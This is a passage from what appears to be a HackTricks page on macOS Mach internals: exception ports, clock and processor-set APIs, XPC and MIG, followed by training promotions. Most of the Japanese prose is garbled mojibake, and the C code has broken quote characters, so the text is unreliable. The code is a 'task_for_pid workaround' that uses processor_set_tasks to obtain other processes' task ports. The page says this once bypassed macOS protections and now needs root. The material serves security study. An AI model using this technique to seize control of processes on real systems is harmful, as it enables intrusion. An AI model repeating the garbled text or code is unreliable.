task_for_pid ãŸã㯠thread_create_* ãåŒã³åºããšãã«ãŒãã«ã®æ§é äœã¿ã¹ã¯å
ã®ã«ãŠã³ã¿ãŒãã€ã³ã¯ãªã¡ã³ãããããŠãŒã¶ãŒã¢ãŒããã task_info(task, TASK_EXTMOD_INFO, ...) ãåŒã³åºãããšã§ã¢ã¯ã»ã¹ã§ããŸãã
äŸå€ããŒã
ã¹ã¬ããã§äŸå€ãçºçãããšããã®äŸå€ã¯ã¹ã¬ããã®æå®ãããäŸå€ããŒãã«éä¿¡ãããŸããã¹ã¬ããããããåŠçããªãå Žåãã¿ã¹ã¯ã®äŸå€ããŒãã«éä¿¡ãããŸããã¿ã¹ã¯ããããåŠçããªãå Žåããã¹ãããŒãã«éä¿¡ãããlaunchdã«ãã£ãŠç®¡çãããŸãïŒããã§æ¿èªãããŸãïŒããããäŸå€ããªã¢ãŒãžãšåŒã³ãŸãã
éåžžãé©åã«åŠçãããªãå Žåãã¬ããŒãã¯ReportCrashããŒã¢ã³ã«ãã£ãŠåŠçãããŸãããã ããåãã¿ã¹ã¯å
ã®å¥ã®ã¹ã¬ãããäŸå€ã管çããããšãå¯èœã§ãããããã PLCreashReporter ã®ãããªã¯ã©ãã·ã¥ã¬ããŒãããŒã«ãè¡ãããšã§ãã
ãã®ä»ã®ãªããžã§ã¯ã
æèš
ä»»æã®ãŠãŒã¶ãŒã¯æèšã«é¢ããæ å ±ã«ã¢ã¯ã»ã¹ã§ããŸãããæéãèšå®ãããä»ã®èšå®ã倿Žãããããã«ã¯rootæš©éãå¿ èŠã§ãã
æ
å ±ãååŸããããã«ã¯ãclock ãµãã·ã¹ãã ã®é¢æ°ãåŒã³åºãããšãã§ããŸãïŒ clock_get_timeãclock_get_attributtes ãŸã㯠clock_alarm
å€ã倿Žããããã«ã¯ãclock_priv ãµãã·ã¹ãã ã䜿çšããclock_set_time ã clock_set_attributes ã®ãããªé¢æ°ã䜿çšã§ããŸãã
ããã»ããµãšããã»ããµã»ãã
ããã»ããµAPIã¯ãprocessor_startãprocessor_exitãprocessor_infoãprocessor_get_assignment ãªã©ã®é¢æ°ãåŒã³åºãããšã§ãåäžã®è«çããã»ããµãå¶åŸ¡ããããšãå¯èœã«ããŸãã
ããã«ãããã»ããµã»ãã APIã¯ãè€æ°ã®ããã»ããµãã°ã«ãŒãåããæ¹æ³ãæäŸããŸããprocessor_set_default ãåŒã³åºãããšã§ãããã©ã«ãã®ããã»ããµã»ãããååŸã§ããŸãã
ããã»ããµã»ãããšå¯Ÿè©±ããããã®è峿·±ãAPIã¯ä»¥äžã®éãã§ãïŒ
processor_set_statisticsprocessor_set_tasks: ããã»ããµã»ããå ã®ãã¹ãŠã®ã¿ã¹ã¯ãžã®éä¿¡æš©ã®é åãè¿ããŸãprocessor_set_threads: ããã»ããµã»ããå ã®ãã¹ãŠã®ã¹ã¬ãããžã®éä¿¡æš©ã®é åãè¿ããŸãprocessor_set_stack_usageprocessor_set_info
ãã®æçš¿ã§è¿°ã¹ãããã«ãéå»ã«ã¯ãprocessor_set_tasks ãåŒã³åºããŠä»ã®ããã»ã¹ã®ã¿ã¹ã¯ããŒããååŸããããããå¶åŸ¡ããããã«ãåè¿°ã®ä¿è·ãåé¿ããããšãã§ããŸããã
çŸåšã§ã¯ããã®é¢æ°ã䜿çšããã«ã¯rootæš©éãå¿
èŠã§ãããããã¯ä¿è·ãããŠãããããä¿è·ãããŠããªãããã»ã¹ã§ã®ã¿ãããã®ããŒããååŸã§ããããã«ãªããŸãã
以äžã®ã³ãŒãã§è©Šãããšãã§ããŸãïŒ
processor_set_tasks ã³ãŒã
````c // Maincpart fo the code from https://newosxbook.com/articles/PST2.html //gcc ./port_pid.c -o port_pid#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/sysctl.h> #include <libproc.h> #include <mach/mach.h> #include <errno.h> #include <string.h> #include <mach/exception_types.h> #include <mach/mach_host.h> #include <mach/host_priv.h> #include <mach/processor_set.h> #include <mach/mach_init.h> #include <mach/mach_port.h> #include <mach/vm_map.h> #include <mach/task.h> #include <mach/task_info.h> #include <mach/mach_traps.h> #include <mach/mach_error.h> #include <mach/thread_act.h> #include <mach/thread_info.h> #include <mach-o/loader.h> #include <mach-o/nlist.h> #include <sys/ptrace.h>
mach_port_t task_for_pid_workaround(int Pid) {
host_t myhost = mach_host_self(); // host self is host priv if youâre root anyway.. mach_port_t psDefault; mach_port_t psDefault_control;
task_array_t tasks; mach_msg_type_number_t numTasks; int i;
thread_array_t threads; thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control); if (kr != KERN_SUCCESS) { fprintf(stderr, âhost_processor_set_priv failed with error %x\nâ, kr); mach_error(âhost_processor_set_privâ,kr); exit(1);}
printf(âSo far so good\nâ);
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks); if (kr != KERN_SUCCESS) { fprintf(stderr,âprocessor_set_tasks failed with error %x\nâ,kr); exit(1); }
for (i = 0; i < numTasks; i++) { int pid; pid_for_task(tasks[i], &pid); printf(âTASK %d PID :%d\nâ, i,pid); char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) { printf(âCommand line: %s\nâ, pathbuf); } else { printf(âproc_pidpath failed: %s\nâ, strerror(errno)); } if (pid == Pid){ printf(âFound\nâ); return (tasks[i]); } }
return (MACH_PORT_NULL); } // end workaround
int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, âUsage: %s
pid_t pid = atoi(argv[1]); if (pid <= 0) { fprintf(stderr, âInvalid PID. Please enter a numeric value greater than 0.\nâ); return 1; }*/
int pid = 1;
task_for_pid_workaround(pid); return 0; }
XPC
Basic Information
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for communication between processes on macOS and iOS. XPC provides a mechanism for making safe, asynchronous method calls between different processes on the system. Itâs a part of Appleâs security paradigm, allowing for the creation of privilege-separated applications where each component runs with only the permissions it needs to do its job, thereby limiting the potential damage from a compromised process.
For more information about how this communication work on how it could be vulnerable check:
MIG - Mach Interface Generator
MIG was created to simplify the process of Mach IPC code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the serverâŠ).
MIC basically generates the needed code for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
For more info check:
macOS MIG - Mach Interface Generator
References
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- *OS Internals, Volume I, User Mode, Jonathan Levin
- https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


